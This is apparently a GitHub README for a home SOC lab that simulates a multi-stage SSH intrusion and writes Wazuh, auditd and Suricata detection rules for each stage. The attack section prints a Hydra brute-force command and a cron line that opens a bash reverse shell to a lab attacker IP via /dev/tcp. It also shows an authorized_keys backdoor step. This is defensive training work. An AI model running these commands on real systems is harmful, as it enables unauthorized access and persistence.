Riyajath/soc-lab
GitHub: Riyajath/soc-lab
一个家庭 SOC 实验室项目,通过模拟多阶段网络入侵并编写自定义检测规则,帮助安全从业者练习端到端的威胁检测与日志分析。
Stars: 0 | Forks: 0
# 🛡️ 家庭 SOC 实验室 — 攻击模拟与检测
## 📌 概述
该实验室旨在超越被动式学习——每一个组件都是由我亲自构建、破坏并调试的。其目标是模拟一次多阶段入侵,编写并调整自定义检测规则,并验证告警能否进行端到端的正确触发。本文章中记录的每一项检测,都是通过阅读原始日志、查明规则未触发的原因并加以解决后才得到确认的。
**重点关注领域:** 威胁检测 · 日志分析 · IDS 调优 · SIEM 关联分析 · MITRE ATT&CK 映射
## 🖧 实验室拓扑
```
┌─────────────────────────────────────────────────────────┐
│ Android Mobile Hotspot │
│ (Network Gateway / DHCP) │
└──────────────────────┬──────────────────────────────────┘
│
┌────────────┴─────────────┐
│ │
┌─────────▼──────────┐ ┌──────────▼──────────┐
│ Laptop 1 │ │ Laptop 2 │
│ (Attacker) │ │ (Defender) │
│ │ │ │
│ ┌──────────────┐ │ │ ┌───────────────┐ │
│ │ Kali Linux │ │ │ │ Linux Mint │ │
│ │ (Attacker │ │ │ │ (Target VM + │ │
│ │ VM) │ │ │ │ Wazuh Agent │ │
│ └──────────────┘ │ │ │ + auditd │ │
│ │ │ │ + Suricata) │ │
│ │ │ └───────────────┘ │
│ │ │ │
│ │ │ ┌───────────────┐ │
│ │ │ │ pfSense │ │
│ │ │ │ (Firewall / │ │
│ │ │ │ Router VM) │ │
│ │ │ └───────────────┘ │
│ │ │ │
│ │ │ ┌───────────────┐ │
│ │ │ │ Wazuh Server │ │
│ │ │ │ (SIEM/XDR) │ │
│ │ │ └───────────────┘ │
└────────────────────┘ └──────────────────────┘
```
**流量流向:** Kali → 移动热点 → pfSense → Linux Mint 目标机
**监控:** Linux Mint 上的 Wazuh agent 将日志发送至 Wazuh Server · Suricata 在线检查网络流量
## 🧰 工具与技术栈
| 层级 | 工具 | 角色 |
|---|---|---|
| SIEM / XDR | Wazuh | 日志接入、关联分析、告警、FIM |
| IDS | Suricata | 网络级威胁检测 |
| 主机审计 | auditd | Syscall 级别活动日志记录 |
| 防火墙 / 路由器 | pfSense | 网络分段、流量控制 |
| 攻击者 OS | Kali Linux | 攻击工具(Hydra, Nmap, ssh-keygen) |
| 目标 OS | Linux Mint | 部署完整监控栈的受害终端 |
| 暴力破解工具 | Hydra | SSH 凭据暴力破解模拟 |
| 持久化机制 | cron + authorized_keys | 模拟后渗透阶段的持久化 |
## ⚔️ 攻击模拟 — Kill Chain
完整的攻击从 Kali Linux 针对目标 Linux Mint 执行,整个过程分为四个阶段,并映射至 MITRE ATT&CK。
### 阶段 1 — 侦察
**工具:** Nmap
**操作:** 进行端口扫描以识别目标上开放的服务
```
nmap -sV -p 22 10.xx.xx.135
```
| ATT&CK ID | 战术 | 描述 |
|---|---|---|
| T1046 | Discovery — Network Service Scanning | 扫描目标主机以识别暴露的 SSH 服务 |
### 阶段 2 — SSH 暴力破解(初始访问)
**工具:** Hydra
**操作:** 使用字典对 SSH 发起字典攻击
```
hydra -l -P /usr/share/wordlists/rockyou.txt ssh://10.xx.xx.135
```
| ATT&CK ID | 战术 | 描述 |
|---|---|---|
| T1110.001 | Credential Access — Brute Force: Password Guessing | 系统性地尝试密码以获取 SSH 访问权限 |
| T1021.004 | Lateral Movement — Remote Services: SSH | 使用通过暴力破解获得的有效凭据通过 SSH 进行身份验证 |
### 阶段 3 — 通过 Cron Job 实现持久化
**操作:** 安排了一个定时任务以重新建立攻击者的持久存在
```
(crontab -l; echo "* * * * * /bin/bash -i >& /dev/tcp/10.xx.xx.124/4444 0>&1") | crontab -
```
| ATT&CK ID | 战术 | 描述 |
|---|---|---|
| T1053.003 | Persistence — Scheduled Task/Job: Cron | 滥用 cron 定期执行恶意命令 |
### 阶段 4 — 通过 authorized_keys 留存后门
**操作:** 将攻击者的公钥注入到目标的 `authorized_keys` 文件中,以实现免密再次进入
```
echo "" >> ~/.ssh/authorized_keys
```
| ATT&CK ID | 战术 | 描述 |
|---|---|---|
| T1098.004 | Persistence — Account Manipulation: SSH Authorized Keys | 修改 authorized_keys 以允许无需凭据的持久化基于密钥的 SSH 访问 |
## 🔍 检测规则与告警
以下所有检测都需要编写或修改自定义规则。每一条规则都是通过阅读单个日志管道——`auditd` 日志、Suricata 的 fast.log 和 Wazuh 的 `ossec.log`——进行调试的,以追踪规则未触发的原因并加以解决。
### 检测 1 — SSH 暴力破解 (Wazuh)
**触发条件:** 来自单一源 IP 的重复 SSH 身份验证失败尝试
**规则来源:** 基于 `sshd` 日志模式调整的自定义 Wazuh 规则
**日志来源:** Wazuh agent 提供的 `/var/log/auth.log`
```
5760
SSH brute force attempt detected
T1110.001
```
**告警触发:** ✅ Wazuh Dashboard — 级别 10 告警,包含源 IP 和尝试次数
### 检测 2 — Cron 持久化 (Wazuh + auditd)
**触发条件:** 由非 root、非计划任务进程写入 crontab
**规则来源:** 针对 crontab 路径的 auditd 监控规则,在 Wazuh 中进行关联
**日志来源:** auditd → `/var/log/audit/audit.log`
```
# auditd watch rule
-w /var/spool/cron/crontabs -p wa -k persistence_cron
```
**告警触发:** ✅ Wazuh 检测到 `persistence_cron` 键值事件,包含用户、PID 和命令上下文
### 检测 3 — Suricata 网络告警 (SSH 暴力破解)
**触发条件:** 针对 22 端口的高频 SSH 连接尝试
**规则来源:** 自定义 Suricata 规则
```
alert tcp any any -> $HOME_NET 22 (msg:"SSH Brute Force Attempt"; \
flow:to_server; threshold:type threshold, track by_src, count 10, seconds 60; \
sid:1000001; rev:1;)
```
**告警触发:** ✅ `/var/log/suricata/fast.log` — 来自 Kali 源 IP 的重复命中记录
### 检测 4 — 针对 authorized_keys 的 FIM 告警 (Wazuh syscheck)
**触发条件:** 对 `~/.ssh/authorized_keys` 的修改
**规则来源:** 具有自定义监控路径的 Wazuh FIM (syscheck)
```
/home//.ssh
```
**告警触发:** ✅ Wazuh FIM 告警 — 标记文件修改,并附帷新增密钥内容的差异对比
## 💡 关键收获
**检测工程是一个迭代的过程。** 本实验室中的每一条规则都经历了编写、测试、发现无响应、调试并修复的过程。“规则存在”与“告警触发”之间的差距,正是培养真正 SOC 技能的地方。
**理解日志管道至关重要。** 将无响应的 Suricata 告警追溯到缺失的 runtime 目录,或者将 auditd 的键值事件与 Wazuh 规则相关联——这需要理解每一个工具的数据流向,而不仅仅是它的仪表盘。
**分层可见性能够捕捉到单个工具遗漏的内容。** 暴力破解在主机层(Wazuh/auth.log)和网络层(Suricata)都被捕捉到了。持久化则是通过 FIM *以及* auditd 被发现的——针对同一项技术的两个独立信号。
**将 MITRE ATT&CK 作为设计框架。** 在执行每项攻击阶段之前先进行映射,迫使我有意识地去思考每项技术会留下哪些痕迹——以及检测栈是否已经做好了一探究竟的准备。
## 📁 仓库结构
```
soc-home-lab/
├── README.md ← This file
├── topology/
│ └── network-diagram.png
├── rules/
│ ├── wazuh-custom-rules.xml
│ ├── suricata-custom.rules
│ └── auditd-rules.conf
├── logs/
│ └── sample-alerts/ ← Redacted alert screenshots
└── attack-scripts/
└── simulation-notes.md
```
## 👤 作者
**Riyajath Hameed P.**
计算机科学理学学士 | 有志成为 SOC Analyst
[LinkedIn](https://linkedin.com/riyajath/) · [GitHub](https://github.com/Riyajath)
标签:IP 地址批量处理, Metaprompt, pfSense, SOC实验室, Suricata, Wazuh, x64dbg, 安全运营, 扫描框架, 现代安全运营